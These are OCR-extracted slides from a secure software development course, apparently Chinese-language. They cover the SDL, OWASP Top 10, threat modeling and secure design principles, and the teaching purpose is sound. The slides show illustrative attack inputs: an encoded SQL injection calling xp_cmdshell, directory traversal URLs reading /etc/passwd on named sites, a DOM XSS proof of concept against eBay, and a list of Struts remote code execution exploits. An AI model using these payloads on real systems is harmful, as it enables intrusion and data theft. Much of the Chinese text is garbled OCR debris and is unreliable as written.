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PRI KRB FAET P - Bk
B (1996~Now)
v Coding

— C~C++~C#~ ASP.NET
- PKIR+EFR* ~ & L g (DRM) R *
vV CMMI xR 3 = BB 3RFE
v" SOC (Security Operation Center) & Stz § a3E
v' DLP (Data Loss Prevention) & &
v' APT (Advanced Persistent Threat) ¥ & f§ JB| 27 g2

v 33 BL¥F d0 &% 5 B3R (2008~Now)
> FERE
v CEH ~ CISSP ~ CSSLP ~ CISM

https://www.uuu.com.tw/Course/Show/48/CSSLP-
%E8%B3%87 Y%ES5%AE %89%E8%BB%9IF%EI%ABYI4%E 9%96%8BY%E7%99%BC %E5%B0%88%E5%A

E%B6%E8%AA%8D %E8%AD %89 %E8%AA%B2%E7%A8%8B




> BT 2
A AR X 2BRHE
VEREBRESTIFER
V ERKPFIRE
VRER TR K

/?'Jvl'!‘fbﬁ;»

\/i’K%f Z R IFE
‘/yﬁ-@fbﬁx
vV ERAT R

r 5

> 5F e prrat ¥R




Copyright of STI



> Eamdeie @ * (o )kl
/eﬁg%&ia?%ﬁi
V37 g 3l42 CIA Triangleip B ¥ 42

Confidentiality
(# 3 )

Integrity Availability
2 g 1) (7 7 1)



HTTP
Request

3rd Party 3z & 5t
(Eix~Fim~ ETEPE.)

‘1

TTP Proxy#g ;%




BEARMBZEERRYFR

(@t it ini % 3 1 1 - 2010112121 0905
£ ﬁﬁﬂ%ﬂﬂﬁ%ﬁf%ﬁﬁﬂﬁ%ﬁ o (B HEE)

SHPI R RILSSRITRRR ST EREA RS A5 ST 2R R
A & Bfﬁﬂa;ufﬂﬁﬁﬁ@ﬁ%ﬁﬁ?ﬁ EEILEFTHRES
AR ARTEST | MRS A SRS FERE  MEE
FEERERENE 0 BEAESHRESERESH - et gz
BrEYIEET » 7= E BT EIELA0MREES fhASE » S B EiEiE LRI B Ryt
g

LERESEHESIEEEH  EREMERERIENE - HEEEIEEE
%ﬁx‘ﬁ?ﬁf&fi SRR E MERETIE AR R SRR LT
» (IS EREE AR T3 oyav el | BEE T iR SiEfIe e 2T iE

fﬁ;’tﬁ' » SEIEIER TN . B2 MRTREER RSN
B T RERAE R - BT BRMEeREE, 7 TSN
FRERIIE TR A - RS R A T T
{815 B EEES RS BRSO | B R ET AR -
MEMEETEEEREE SRR AEER  STESE  FENE
RE—GETRHNEFOIRBRERITIIER | EREEEEH—5AR
HBEEET - BRELEsR R s aiBminEzER2iERE

i SREEEFEITRERERET SRR ERENE  E5ER
BYE[TH - BERMEARFTHES  BERAREIREIEERERE  [BR
EBASE  TERILREEFRHREHEERH . EERIEETER
=i




> g AT B EF

Convenient

AL P
Performance «€&2S88,

-
R ]

o
v 4

g o3 B
Cost % Y Administration

\

I e



Models

» Cigital — TouchPoint Model

' Anagon-Wathey Softeare Sacwity Saries of
ol XTE CODE
SECURITY EXTERMAL REVIEW PEMETRATION
TESTING

SOFTWARE . WS
SECURITY e

ABUSE Risk SECLRITY RISK SECURITY

CASES ANALYSIS TESTS ANAI.Y‘SIS OPE RATIOMNS

BuLDimaog SECURITY Ird

REQUIREMENTS | | ARCHITECTURE TEST PLAMS CODE TESTS AMD FEEDBACK FROM
AND LISE CASES AND DESIGN TEST RESULTS THE FIELD

GARY McERRW

Feremend by Dan feer

> M | C rosoft S D L https://www.microsoft.com/en-us/securityengineering/sdl/

| DEVELOPMENT
Use Approved Incident

LIFECYC I_E Tools MM Response Plan

Requirements
Final Security

Deprecate Unsafe Fuzz
Review

Create Quality
Functions Testing

Gates / Bug Bars

Security & Privacy Static Attack Surface Release
Risk Assessment Analysis Review Archive
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| » + Security Activities

Dynamic Testing § Continuous
Secure Coding Defense

Hardening onitoring

Security Analysis

= Requirements J Security Design :
Code Review
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> + OWASP Top 10(2017)

A2: Broken Authentication

A3: Sensitive Data Exposure

A5: Broken Access Control

A10: Insufficient Logging & Monitoring

Al: Injection

A4: XML External Entities (XXE)

A7: Cross-Site Scripting (XSS)

A8: Insecure Deserialization

A9: Using Components with Known Vulnerabilities

A6: Security Misconfigurations
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> 1SO27001

> PCIDSS(Payment Card Industry (PCI) Data Security Standard )
»BS10012/ GDPR / & % i 7 2

e R
- ¥ 7% 2 TX4p8 0% 2% 2 Best Practice o #:
> OWASP (Open Web Application Security Project )
> NIST (National Institute of Standards and Technology)

» Common Weakness Enumeration (C\WE)
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X Z KXk (cont.)

» 3R E R (cont.)
v & ¥ ¥ iF @+ & 7 (Business Impact Analysis)
— Recovery Time Objective(RTO)

» Time needed to recover the parent process to business almost as
usual following a disruption

— Recovery Point Objective (RPO)

>» Point in time to which parent process work should be restored
following a disruption =» Data Backup

—if’f}lj:

Business Impact Analysis Report Template
By Paul Kirvan, FBCI, CBCP, CISSP

Use this template to perform business impact analyses. Formulate questions to elicit responses for insertion into specific categories. Organizing all
columns into a spreadsheet simplifies the analysis process. This collection of data facilitates the process of identifying the most critical business
functions, the financialand operational impact if they are disrupted. strategies to recover themand time frame targets to achieve recovery.

BU Name Head Count Parent Process Priority Ranking RTO RPO PP Depends on PP Required by
1. Business Unit Name — Self-explanatory
2. Head Count — Number of full-time staffin the business unit
3. Parent Process — Brief description of the principal activities the unit performs, e g, sales, contractor interface, or investor relationship management
4. Pricrity Ranking — Subjective ranking of parent process(es) according to criticality to the business unit
5. Recovery Time Objective — Time needed torecover the parent process to business almost as usual following a disruption
6. Recovery Point Objective — Point in time to which parent process work should be restored following a disruption
7. Parent Process Depends On — Names of organizations and/or processes the parent process needs for normal operations 17
8. Parent Process Required By — Names of organizations and/or processes that need the parent process for normal operations




F %k (cont.)

BRI R R R

Confidentiality

- f‘.ﬂ 7 Integrity

Availability
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(General) F .
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Authorization

....................................

Accounting
Audit
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Reguirements Traceability Matrix

Specification Design Code
Module Mbdule
RU1 RD1 RS1 DMI (6,511 TP1 TC1
RU1 RBl RS2 DM2 CA2 P2 TC2
RU1 RD1 RS2 DM3 ChB TP3 TC3
RU1 RDL RS2 DM3 CM4 TP4 TC4
RO1 RD1 TESE |EEE EEHE
RE1l RDI %’%ﬁﬁﬁ
st | IhEEID SEEE Theem K AhEE %’Tﬁﬂﬁﬁﬁﬁl BEE BIEZE A BIEt R E pilE
RU1 RD2 §2 G _ 4ED 4
[m] *—E ;%H/TE 14: b= R fid WO A=
RD2 kD1 i BNEE DR | BASEEREE |8 DXXEERTHEEREST L1l YY/MM/DD | &8
IZ&fhE E LR #88E HEEP31 2EE
IEESsE EZIESE
2 112 ShEE T HIET FHETE BEE I XXEZ:G38: =EREa95% 11112 N/A N/A
ZEhE HASHETF th FRIEEP32 ZEAR
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v Risk = Probability x Impact
PRGRIZDE S E
VIR
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> PR

v" Identify Security Objectives

v" ldentify Threats ~ Vulnerabilities and
Safeguards(Countermeasures)

v" Design software to be secure
v" Assist with Engineering vs. Security Tradeoffs
v Reduce risk to acceptable level

>3k
v' STRIDE (for = 4 A #7)

— https://msdn.microsoft.com/en-
us/library/ee823878(v=cs.20).aspx

v DREAD (for & 4 &)

— https://len.wikipedia.org/wiki/DREAD (risk as

Threat Modeling Process

sessment_model)

1. lddentify Assels

2. Create an Architecture Overview

3, Decompose the Application

4., Identify the Thraats

&, Document the Threats

‘ / 6. Rate the Threats

22




» OWASP

Threat Attack Security Security Technical Business
Agents Vectors Weaknesses Controls Impacts Impacts

Weakness @ » -TComrol. L™
J .

. o
== ® Weakness ."TWT":
|

» Microsoft
v Microsoft Threat Modeling Tool 2016

— https://www.microsoft.com/en-us/download/details.aspx?i1d=49168
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Misuse Cases

PED LY LNEI IR kR

g

U-1.1
Log-on to
Syslem

F
L]
<<gxtends>

u-1.2
Get

O Authenticated

u-1.3
Start System
Application
~

General <<includes>>_ i . deg>>

U-1.4 5U-1.5
Reques! Enter
O Information Information

\ﬂnmatens»

<<threalens>>

<<includes>>
—

Altacker
~ threaten

Security

U-1.6 threatens',
Retneve o .
Information ¥ mitigates
mitigates $.2.1
p Apply
e Cryptographic
=Y Function
i <<gxtends>>
S$-23 §-2.2
Transmit Data Attach Hlash to
via Secure Data
Channel
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> P E 4| (Security Controls) :%%

¥ L% 284 RE/B
%] * ¥ % (Input Validation) ¢ £ 8 ~ 2 £ H -~ T 2
7 L % 7% (Encoding) Base64 ~ HTML Encoding...
7 L4y & (Hash) MD5 ~ SHA-1 -~ SHA-256..
7 4e % (Encryption) > $+f:° (DES ~ 3DES - AES)

> «»z‘f?ﬁﬂ—’\ (RSA)
=> Public Key Infrastructure(PKI) : #ici> & & ~ # >

7 AL § (Masking) for 7 ~ i3 * + 5L~

H- % »

(Single Sign-On)(SSO)

Digital Token RSA Token ~ IC Card ...

Access Control Role-based ~ Resource-based ...

Referential Integrity for Relational DB data consistency

Resource Locking for multi-processing / multi-user data consistency
Code Obfuscation FAFLR Ao 3 e 1 AR

Code Signing FERL o R T3 ~ B ot AR D s 2t 43R



- ERRPER R S
v External Systems are Insecure N\ Qﬁﬁ?ﬁiﬂfﬂmwm
v Minimize Attack Surface Area ey
v" Secure Defaults
v' Least Privilege
v’ Separation of Duties
v Defense in Depth
v Fail Securely
v Do not trust Security through Obscurity
v Simplicity

Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”,
Fourth ACM Symposium on Operation Systems Principles, October 1974.

26



% L R

A2 PR AR

B FRER

»SQL Injection

2 BOSH 7

»Command Injection

LB a1 A !

»Code Injection

#2515 R ER

» XSS Attack

£ k3% i

»Malicious File Execution
» Insecure Direct Object Reference

LA

PE) A RT
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External Systems are Insecure (con

>u1§ » ’:,'5” uﬁ] )\ 73 f)!
v HTTP Request ¥ #r4 ¢ 4tissfes\ £3 ¢ * chidkiE

Request

HTTP
Request J Raw I Params T Headers T Hex ]

POST /Login/Login-User?ReturnUri=%2F Login HT TR/ .1
Content-Type: appIicationfx—www—form-urlenﬁed: charset=UTF-8
Accept **
#-Requested-With: <MLHEtpRequest
Referer: httpi/fooecc.com w/Login?ReturnUri=%2FLogin%2F
Accept-LAnguage. zh-mant e .zi- Hant q=u.0 . en-us. q=0 o ,ern g=0.3
User-Agent: Mazilla/5.0 (Windows NT 10.0; WOWES4, Trident/7.0; nv:11.0) like Gecko
Cookie: role_id=1; maintain_session=off

I _—
Content-Length: 60
Host: ool ot.com.tw
FPragma: no-cache
Connection: close

Login=%E7%99%BB%ES%B5%A5&UserName=user1 111&Passward=pass1111

V7 iR ﬂwﬁ]% %R
— File ~DB ~ RPC ~ Web Services....
28



External Systems are Insecure (con;@%_

> IE R IR R R

T 4
Make
’ ? g ?
v or H ~ B H potentially
Allow known Reject known malicious data
good data bad data safe
Inp> Constrain > Reject > Sanitize >

Validate type, format,

length and range

(Use regular expressions
for string data)

For example, stripping
Null characters or
spaces

29



External Systems are Insecure (con@%

> v L H b
+ R 710F ~
VE LFEERR frikcF

DHLETFRAL W BT

= Minimize Attack Surface Area

SQL Injection B S :

SELECT select_List FROM table_source WHERE column_name = anynumber:

declare/*Avoiding space®/g fvarchar(255) /%%
elect/**/@s=Bx626370206d61737465722e2e73797367026a05037473286F75742063385ch96e65747875625CTT77TTT26F0T
exec/**/master..xp_cmdshell/

30



Secure Defaults

>k B bk 2 %

v OS Hardening
v B T2 H R B R AR
VAR T
vV F R B

FWAREHET TP

= Implicit deny or no data !

i”ﬁ_,

ERag) LA

IVNERRE L 7 SR B BRI A XboX S

(U Thiiwis  NOVinews — 201 4FE 4568 LF11:53

B RR A

SEEIDME T ST — SR B E R EHERER (Kistoffer Von Hassel ) SZREa5RE TR0
AboEIE EIRA - REER LRSS - EIEEEAE .

TR RS - TR AN GRE —SEhaiRE TREA - My 7R B
FURREERE A H O Hhox LiveliRazEeh - HEfo VYT E R HEEEE - iR EnE
BETE A SETREVEH ©
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TEREE, EREL  E-RBWGHRET R BRI A TREE EEERER
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_east Privilege

» Run with just enough privilege to get the job
done, and no more!
Vi 3Bt x
‘/f’»’l‘ n—”rg"’l‘ﬁ"’q
VB 3BER

=) = (ki) £ | st
i FHIA €] Ldministrstors Administrstors T DU 2T IRAIMTF AT i,
@ HitniRaE @Eankup Operatozs Backup Operator: REEEIB R E FEENEES R ES 2 RS
HREH® 8 Distributed COM Users REFRRS RSN BRI LR (RS e RS L A3 R COM % -
= BRI | € Cuects Cuest IRIGTEERAD User AR S TERSAVEEVE * 12 Cuet REEZHIRMES
- R 8 Network Configuration Operators  ESSEEHAT RS TLIPA L ZMERER - R hia T
-1 B o | R Pectormance Log Users MBS T T A E S e SR
FUIREST | @retormons Morior Tons BHERE T SRR R R SR
. éﬁi&g 28 €0 Pover Users Power Users BPEA ST EATESIEIFHEIEE - B TE2IDHTHERER AR TRTEEERES
6D H S @Pﬁm Operators REE T AT i EN 1
Bopmgre | DRemk Deskiop Usrs TS EEHA PRI S B TR
Y @Rep]jj:ah:m TEEEPERER
D Bﬁ PepEmes | Bles Users RN L A B RN ERGEE - ERRMRTLRTEEICATMERES - TURTARAMEEE..
S HelpervicesSroup SRR EEPLERE
] TeluetClients MEEFIRADRL S TTTFRTL R LEY Telnet (F1RER -
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> + OWASP Top 10(2017)

A2: Broken Authentication

A3: Sensitive Data Exposure

A5: Broken Access Control

A10: Insufficient Logging & Monitoring

Wi
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Broken Authentication

OWASP Top 10: A2

VIRR/3B R

VE R R

VLR AR RB N yRLE
‘/?l‘g@ﬁ%/ﬁ" ‘5\:3%

\/Sessmn ID ~,g 2% g

v SQL InjeclOl st




Sensitive Data Exposure Py,

OWASP Top 10: A3

S BT RIRRLY P REBSTHE

VIBE ~ Erm (P RIP s R - %A - Session
ID...))

v 2% g ehi@ll

>Rt NG RBATE R 4 R
v =% :Log/ #% & / APP
v FF @ﬁl

> Ao e F
A FEE ¥R ST Y
VBRI E A @
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- BED RED WRO IMKELQ IAD HHD
o7 BORE I@Alﬁ:mMutual:SewerEmr _ -k @ &8 JRPEEND OE& BED- R2ED-

»»

Sign In | Contact Us | Feedback | Search! !

AltoroMutual

An Error Has Occurred
Summary:
Syntax error in string in query expression 'username = "',

Error Message:

System.Data.0leDb.OleDbException: Syntax error in string in query expression 'username = """, at System.Data.OleDb.OleDbCommand. ExecuteCommandTextErrarHandling{ OleDbHR esult br) at
System.Data.0leDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDEPARAMS dbParams, Objecth executeResult) at System.Data.OleDb.CleDbCommand.ExecuteCommandTextObjecth executeResult)
at System.Data.0leDb. OleDbCommand.ExecutaCommand(CommandBehavior behaviar, Objectd executeResult] at System.Data.0leDb. OleDbCommand.ExecuteReaderinternal(CommandBehavior behaviar, String
method) at System.Data.OleDb.OleDbCommand.ExecuteReader| CommandBehavior behavior) at System.Data.0leDb.OleDbCommand. System.Data. IDbCommand.ExecuteReader( CommandBehavior behavior) at
System.Data.Common.DbDataAdapter Filllnternal(DataSet dataset, DataTable]] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Commeon.DbDataAdapter Fill[DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDBCammand command, CommandBehavier behaviar] at
System.Data.Commen.DbDataAdapterFill[DataSet datadet, String srcTable) at Altoro.Authentication.ValidatelUser(String uName, String pWord) in di'\downloads\AltoroMutual_vE\website'bank'login.aspx.csiline 73
at Altoro.Authentication.Page_Load(Object sender, EventArgs &) in d:\downloads\AltoroMutual_veiwebsite'\bankilogin.aspx.csiline 33 at System.Web.Util. CalliHelper.EventargFunctionCaller(IntPtr fp, Object o, Object

t, EventArgs &) at System.Web.Util.CalliEventHandlerDelegateProxy. Callback|Object sender, Eventirgs 2] at System.Web. UL Control.OnLoad(Eventhrgs &) at System.Web.UL. Control.LoadRecursive(] at
System.Web.Ul.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boclean indudeStagesAfterAsyncPoint)

Privacy Policy | Security Statement | © 2009 Altero Mutual, Inc.
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Sensitive Data Exposure (cont.)

> &% SSL/TLS 4 % ik @i Fp e T
vV L RETH EERRLLPTHRK A
— Password ~ Session ID T
voig A
V2 hFH
vVigr £ F

> 1R ¥ERE OWASP Top 10: A6 e ke
v E H{SSLATHE e e B 2
— No:SSL v2~SSLv3~TLSv1.0~TLSvV1.1
— No: MD5 ~ SHA1 ~ DES ~ 3DES ~ RC4
— ¥ %% : https://lwww.ssllabs.com/projects/best-practices/

B P 2ESSLeg B i
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Encoding ?

Classic v

" hidomain BB AERBIERHE PO ) BIELNE |
DNS 3ERR !

1K 2006 £ » hidomain FREMEFEGE —RRE T @HAHWEM - EHER VPSS E
= .

R s TWCs AR, S8 R BART £, B4/, B 0 S RO, 1 A BREMATAR
=3 waomanme ¢ Jio

$*Emtuww ’
T ]
TERPAEARRERRINET S
S BEIEE I R PR R R 2R

2805 BUE - ERIE - BTEIE - RAZEE  ACH
BIPETS, REES. A

Encryption?

- o
s

SERME—T TEHE,

38



> %ﬂj*ﬁ = f:
v Encoding (%#5) : Base64 ~ HTML Encoding ...
f(data)

» The input can be of any length.
2 Sl
‘ ﬁ] oy [EL * The output has afixed length.
« Hix)is relatively easy to compute for any given x.

v Hix)is one-way.
Hixyis collision-free.

v Encrypt (4c %) : 3DES ~ AES...

f(data, key)

39



Sensitive Data Exposure (cont.)

> Hashed 78 38 2.7 # § 4 et 2"

Rainbow Table

Hashed Passwori/ » | Plaintext 000001’ hash Plaintext 000001
=¥ | Plaintext 000002’ hash Plaintext 000002
7c222fH2927d8 | «—| il =
28af22f592134e | Match ?
8932480637c0d
\\ , : .
Plaintext 999999’ hash Plaintext 999999

[f2:2]4% B A4 ¢hhash B2 4 » fodcF ¢ (salt)
»|1 : Hash(“secret”, “1lkjdo3opf”), Hash(“secret”, “mkdiZkan7”)
72 . $1$tsLFcOYh$5ibC1Ui20PwUvyGUttUFI1
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Broken Access Control Pz,

OWASP Top 10: A5

R B Weak Authorization
kS R Missing Function Level Access

RN Insecure Direct Object Reference

41



Broken Access Control (cont.)

» Weak Authorization

CRTUDH SRR DR
V3R 2kt
- apeq Sk

» http://www.test.com.tw/UserDataManagement/UserDataEdit.aspx?
access=read

> https://web_ip/index.php?id=john&is_admin=fales&menu=basic
— #zcookie
— i Hm g R

vV iER1EE s #session B ik T
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Broken Access Control (cont.)

>R EBIE
V Riscen & £ H Sk
— radio button ~ check box ~ select menu
— hidden value (> 4 %tk £ 38?1)
v B R (D L& RABetR I
— SQL ~ XSS
— & (OE®KR?!)
~ &L (D4542)
- B ARG Bk (D BURT/LEBE)
v
- F BARBREDTH o BENURER AN D -
~ FRREEE BT R
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Sol:dot

AEMAMN, EEMEA

EBETEEEA BRE2T0 525

2 ©

hlackhat 85T 201 1E6H27E 13864205 BE— © las] O
B8AhF—ENI1

EHR I TEREARMES T /UAEMAHEE - fRiEa+ B0 25
R E T EHIECh EEFFRIEA R - EFEEEEAEEARRER
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» Missing Function Level Access
VEREET RGP IBAEA N RT

— Web Serverz l@

'S PRUEE /cart/buy.asp- " 16¥¢
- H#EIEEF — I—
getpwd.asp- .

mews/index.asp- l_l
A findex.asp+ /mews/subscri.asp+
/help.htm«

l@ /hitemap.htm- — 40

/cart/login.asp-

index.asp.bak-

SAAAAAANRAA

/fadmin/repwd.asp: fmme <o
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Broken Access Control (cont.)

» Insecure Direct Object Reference
\/;r:c§—""'flj’* WebB# #2558 A L e d 12 3 B2 5 "2 R,
\&B&% ZHe AR P R

- mj: http://www.xxx.com.tw/showPage.aspx?page=main.aspx

SR WY R RE

‘ to/passwd - Microsoft Intemet Explor i
—}kﬁ-juwmmuammmnmuﬁw | & |
Q-0 - & Dl &
jﬂ*t@ IQ http:Hislablqwikiwikifindex phpPpage=. /.1, 1. 1.1 Jetcipasswd %00 :I

Key Pages: Home | Qwikiwiki | QwikiSyntax | Recent Changes
Recently viewed: config.php > ../ config.php > /confg php > { config.php

fetc/passwd

QwikiWiki oo o] oef ouf o] ../ etc/passwd
root:x:0:0:root: froot: /bin/bash -
bin:x: 1: 1:bin:/bin: /sbin/nologin

daemon:x: 2: 2:daemon: /sbin: /sbin/nologin
adm:x: 3:4:adm: fvar fadm: fsbin/nologin
Ip:x:4:7:Ip: fvar fspool /ipd: fsbin/nologin

sync:x: 5:0:sync: /sbin: binfsync

shutdown: x:6:0:shutdown: /sbin: /sbin/shutdown
halt:x: 7:0:halt: /sbin: /sbin/halt
mail:x:8:12:mail: fvar fspool/mail: /sbin/nologin
news:x:9: 13:news: fetc/news:

uucp:x: 10: 14:uucp: fvar fspool fuucp: fsbin/nologin |
ST [T Mnskeees
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Broken Access Control

Bl ercz=E X

C 1} | & == | https//www.mobileO1.com/topicdetail. php?f=6878t=3722701 &p="

zhung &£ B (R |3 | | Hike |37 | 4R

ZEASE 1,082,443
2014-01-07 13:27 #1

ARAI—FETRILREZE AR -
il
BEBEERTT..

IR EEREHIE - linuxdypasswdiE#po

http://pastebin.com/mGk2bpXx
[ =
EEAEZQ@@"

ET2HNEs8 BEET -THERERXHER - EEFARA/D - EFHE
cracker i ETEEE

EiZF 199 oarpviprefZ £

TEFAHEAEWNEEENL  BTHULEFRECEEEIAE

BEWNE listDir BRI EEEE#E TEMEEE
EMURTEFEHEEZEEET ..

EERIE - http://pastebin.com/xxxVvsCk
# http://www.fetc.net.tw/portal/front/_listDir?

admin=buck&Dirld=624940165493939446¢c265871f9642658&path=../../../..
I

/../lpr_database

bin/

fetc.conf
lpr_data_img/

lpr _data done/
lpr_data_missed/
lpr_data_manual/

& OB »
l%l G Clubmed

208HPEEREND

ﬁ" AW EEAUIEEE

&

| HiNetE
H 300M
I | e Es 1199

T AcerBMENERAE
PErT T

ELITE—§E|

EHEELTES REFEAA
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fEig!
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Broken Access Control (cont.)
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OWASP Top 10: A10 |
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» Type-safe languages ¢ +* #.% >

v ¥ & buffer overflows ~ use after free, 12 2 off-by-one
errors ¥ i 3¢
v ). APP programming
— Android

» Android SDK : Java

> Android NDK : Native language, for example C
- 10S

> Object-C (1983~)

» Swift (2014/6 ~)

53



2018-09-10
2018-08-26
2018-08-25
2018-0517
2017-09-08
2017-08-06
2017-07-07
2017-06-06
20170315
2017-03-07
2016-06-10
2016-05-02
20140502
2014-03-06
2014-02-05
2014-01-14
2013-07-27
2013-07-16
2013-06-05
2013-06-05
2013-03-22
2012:08-23
2012-06-05
2012:03-23
2012:02-02
2012:01-06
2011-12-07
2011-08-19
2011-05-10
2010-07-14
2008-11-04
2005-11-21

Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)
Apache Struts 2.3 < 2.3.34/ 2.5 < 2.5.16 - Remote Code Execution (1)

Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)

Apache Struts 2 - Struts 1 Piugin Showcase OGNL Code Execution (Metasploit)

Apache Struts 2.0.1<2.3.33/2.5< 2.5.10 - Arbitrary Code Execution

Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution

Apache Struts 2.3.x Showcase - Remote Code Execution

Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution

Apache Struts 2.3.5< 2.3.31/ 2.5« 2.5.10 - 'Jakarta’ Multipart Parser OGNL Injection (Metasplait)
Apache Struts 2.3.5=2.3.31/2.5= 25.10 - Remote Code Execution

Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploit)
Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)

Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit)

Apache Strnts <1.3.10/ < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)
Apache Struts - Developer Mode OGNL Execution (Metasploit)

Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection

Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)

Apache Struts 2.2 3 - Multiple Open Redirections

Apache Struts - includeParams Remate Code Execution (Metasploit)

Apache Struts - OGNL Expression Injection

Apache Struts - ‘Parametersinterceptor’ Remote Code Execution (Metasplait)

Apache Struts 2 - Skill Name Remote Code Execution

Apache Struts 2.2.1.1 - Remote Command Execution (Metasploit)

Apache Struts 2.0 - 'KSLTResult java Arbitrary File Upload

Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities

Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities

Apache Struts 2.0.9/2.1 8 - Session Tampering Security Bypass

Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)

Apache Struts 2.0.0< 2.2.1.1 - XWork 's:submit’ HTML Tag Cross-Site Scripting

Struts2/XWork < 2.2.0 - Remote Command Execution

Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities

Apache Struts 1.2.7 - Error Response Cross-Site Scripting

remote
remote
remote
remote
remote
remote
webapps
remote
remote
webapps
remote
remote
remote
remote
remote
webapps
remote
remote
remote
remote
remote
remote
remote
webapps
webapps
webapps
remote
remote
remote
remote
remote
remote

Multiple

Linux
Multiple
Muitiple
Muitiple

Linux
Multiple
Multiple
Multiple

Linux
Multiple

Linux
Muitiple
Multiple

Java
Multiple
Multiple
Multiple
Multiple
Multiple
Muliple
Multiple
Multiple

Java
Multiple
Multiple
Multiple
Multiple
Multiple
Multiple
Multiple
Multiple

Metasploit
Mazin Ahmed
hook-53c
Metasploit
brianwrf
Warflop
Vex Woo
nixawk
Metasploit
Vex Woo
Metasploit
Metasploit
Metasploit
Metasploit
Metasploit
Takeshi Terada
Metasploit
Takeshi Terada
Metasplot
Jon Passki
Metasploit
kxlzx
Metasploit
voidioafer
SecPod Research
SEC Consult
Hizata Killing
Metasploit
Dr. Marian Ventuneac
Meder Kydyraliev
Csaba Barta

Irene Abezgauz
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. JQuery

CVE

logIn Register

Home

Browse :

Vendors

Products

Vulnerabilities By Date

Vulnerabilities By Type
Reports :

CV5S Score Report

CVSS Score Distribution
Search :

Vendor Search

Product Search

Version Search

Vulnerability Search

By Microsoft References
Top 50 :

Vendors

Vendor Cvss Scores

Products

Product Cvss Scores

Versions

Details

The ultimate security vulnerability datasource

Jguery : Vulnerability Statistics

Products (3)  Vulnerabilities (8)  Search for products of Jquery

CVSS Scores Report

| Search |
|| View CVE |

Vulnerability Feeds & DEEERL  wyw.itsecdb.com

Possible matches for this vendor

Related Metasploit Modules

Vulnerability Feeds & Widgets

Vulnerability Trends Over Time

# of
Ye DoS
€T Vulnerabilities

Memory sql

Cod
ede Overflow b S
Corruption Injection

Execution

13
=]
(=3
- S T S Y N R P Y
|

=

12.5 0.0 0.0 0.0 0.0

Iy |- | | = | =

75.0

83 File #of

Inclusion exploits

Directory Gain Gain

Traversal

Bypass

splitting something Information Privileges

Jquery : Security Vulnerabilities (Cross Site Scripting (XSS))

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9
Sort Results By : CVE Number Descending CWVE Number Ascending CVSS Score Descending
Copy Results Download Results

# CVEID CWE #of Vulnerability ~ Publish = Update = Score
ID  Exploits Type(s) Date Date
1 CVE-2019-11358 78 Xss 2015-04- 2015-06- 4.3

19 12

2 CVE-2016-7103 79 XSS 2017-03- 2015-04-

15 23

4.3

parameter of the dialog function.

2018-01- 2015-06-
18 10

3 CVE-2015-9251 79 XSS 4.3

causing text/javascript responses to be executed.

4 CVE-2014-6071 79 XSS 2018-01- 2018-11-
16 30

jQuery 1.4.2 allows remote attackers to conduct cross-site scripting (XSS) attacks via

4.3

5 CVE-2012-6708 79 XSS 2018-01- 2015-06-

18 10

4.3

6 CVE-2011-4965 79 XSS 2013-03- 2015-04-

08 16

4.3

Number Of Exploits Descending

Gained Access Complexity Authentication Conf. Integ. Avail.
Access
Level
MNone Remote  Medium Not required None Partial None

JjQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {3}, ...) because of Object.prototype poliution.
If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.

None Remote Medium Not required None Partial None

Cross-site scripting (XS5) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText

jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option,

Mone Remote Medium Not required None Partial None
None Remote Medium Not required None Partial None
vectors related to use of the text method inside after.

None Remote  Medium Not required None Partial None

jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strinput) function does not differentiate selectors from HTML in a
reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving
attackers more flexibility when attempting to construct a malicious paylead. In fixed versions, jQuery only deems the input to be HTML if it explicitly
starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.

None Remote Medium Not required None Partial None




S Rk

DOM XSS PoC with jQuery V1.7 via $(location.hash) in deals.ebay.com

. eB
25,2013 | Resolved June 2013 % Vl] . e a.y

PoC URL http://deals.ebay.com/#<svg onload="alert("|Query V1.7)"> | 3

T 7 ) T

http://deals.ebay.com

Alert Detail Click here to hide
Hide the alert
High (Verified)
Description Query V1.7
URL http://deals.ebay.com [ —— e - — - “ e ‘L
Parameter location. hash via <svg onload="al | y .
- - http://deals.ebay.com/#<svg onload="alert(9)" > - R | X
T CWE-79 Typed: In DOM-hased X } 1| htpy V. g ) ol @ || & Waiting for deals.eb...
controlled, trusted script that is sef P e

and then injects it back into the w

Hil T - -Mobile- i
Hil Sign in or register | Daily Deals Bobile MyeBay  Sell  Community

Shop by )
N % y category ¥ Search... All Categories

ebay deals Daily Deals Tech Deals Fashion Deals Home Deals

Limited Time Events TOday On |y Never miss a deall

Tablets & More

Shop By Category Vizio 42" 1080p 120Hz 3D LCD HDTV E3D420VX,

Includes 2 3D Glasses

389.99 £52999
$ 52 |;:||'n.g

Home Deals i T NI Message from webpa...|

Tech Deals

Fashion Deals

Even More Deals

BEDO

L 9
Featured Weekly Deals ! 4

Recommended For You

Customer Favorites

